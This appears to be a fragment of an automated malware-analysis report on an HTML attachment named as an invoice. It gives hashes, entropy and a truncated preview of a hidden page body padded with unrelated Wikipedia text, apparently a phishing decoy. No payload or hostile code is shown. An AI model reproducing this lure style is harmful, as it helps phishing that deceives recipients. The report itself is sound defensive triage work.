                                Entropy (8bit):5.239423277947118
                                TrID:
                                  File name:invoice 700898 for wallcentre.com.shtml
                                  File size:6'259 bytes
                                  MD5:0fa9daf17b59e394c20e983c5901b179
                                  SHA1:ec21474979e5b43d37e0d39a3e7a9d506c9d78ff
                                  SHA256:8491c804e82cfa3fe78e9eaeed84771721e9311d84ba6191fdd0ea98ebc9e45f
                                  SHA512:6ed729e60772d61401be295ef11f2ed09b4d2fbff4ada39642a16e0e5f64d8bdee6c97674e17e52eb3b8c9662f66acffdf46a7ec3cb736d6d78110925b10b1fc
                                  SSDEEP:192:gi74znm2PX5T258CkwKOu40XM1LteEK46:nczhE8CkwKmBteEn6
                                  TLSH:A0D14260D9E71D3F063345CAEB972B40B1C190C2D2A2F515BEB8567B36EDC20BB1652E
                                  File Content Preview:<body style="display:none;"> <tr><td class="infobox-full-data" colspan="2">Player stats at <b></b></td></tr><p>Fletcher played his entire seven-year career for the Chargers from 1970 to 1976.</p><span class="mw-headline" id="References">References</spa

                                  File Icon

                                  Icon Hash:173149cccc490307